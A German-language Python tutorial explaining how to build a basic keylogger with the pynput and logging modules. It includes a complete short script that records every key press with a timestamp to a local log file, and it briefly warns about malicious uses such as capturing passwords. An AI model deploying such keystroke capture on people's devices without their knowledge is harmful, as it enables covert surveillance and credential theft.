Erstellen Sie einen Keylogger in Python

Manav Narula 15 Februar 2024
Erstellen Sie einen Keylogger in Python

In Python können wir Benutzereingaben lesen und Hardwaregeräte wie Tastatur und Maus erkennen, um interaktive Anwendungen zu entwickeln. Insbesondere das pynput-Modul ermöglicht es uns, mit solchen Geräten zu arbeiten und mit Funktionen Tastendruck zu erkennen und Cursorbewegungen zu erkennen.

Dieses Tutorial zeigt, wie man einen Keylogger in Python erstellt.

Erstellen Sie einen Keylogger in Python

Lassen Sie uns zunächst verstehen, was ein Keylogger ist. Ein Keylogger ist eine Anwendung, die die vom Benutzer auf der Tastatur gedrückten Tasten lesen und in einer Protokolldatei speichern kann.

Solche Anwendungen werden im Allgemeinen verwendet, um Geräte zur Fehlerbehebung und Erkennung technischer Probleme zu überwachen. Heutzutage werden solche Skripte für böswillige Absichten verwendet, z. B. um Geräte zu überwachen, um das Passwort und andere Zugangscodes zu sehen, daher sollte man bei der Verwendung dieser Skripte vorsichtig sein.

Wir erstellen nun einen einfachen Keylogger in Python mit den Modulen logging und pynput.

Wir werden das Modul Protokollierung verwenden, um eine Protokolldatei zu erstellen, die alle gedrückten Tasten verfolgt. Wir erstellen eine Datei mit dem Konstruktor basicConfig() und spezifizieren den Dateinamen und das format innerhalb dieses Konstruktors.

Das pynput-Modul hat ein Listener-Objekt, das Funktionen sammelt, wenn eine Taste gedrückt wird. Wir werden eine Funktion namens press definieren, die das Listener-Objekt sammelt.

Die Funktion press() liest die gedrückten Tasten und protokolliert sie mit der Funktion logging.info() in der Datei. Beachten Sie, dass der Schlüssel zuerst in eine Zeichenfolge umgewandelt werden muss.

Code:

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(
    filename=("logfile.txt"), level=logging.DEBUG, format="%(asctime)s: %(message)s"
)


def press(key):
    logging.info(str(key))


with Listener(on_press=press) as listener:
    listener.join()

Ausgang:

Keylogger-Ausgabe

Wie im obigen Beispiel gezeigt, werden die vom Benutzer gedrückten Tasten in der Protokolldatei vermerkt, wenn das angegebene Skript ausgeführt wird. Beachten Sie, dass jeder Eintrag in der Protokolldatei auf dem in der Funktion basicConfig() angegebenen Format basiert.

Manav Narula avatar Manav Narula avatar

Manav is a IT Professional who has a lot of experience as a core developer in many live projects. He is an avid learner who enjoys learning new things and sharing his findings whenever possible.

LinkedIn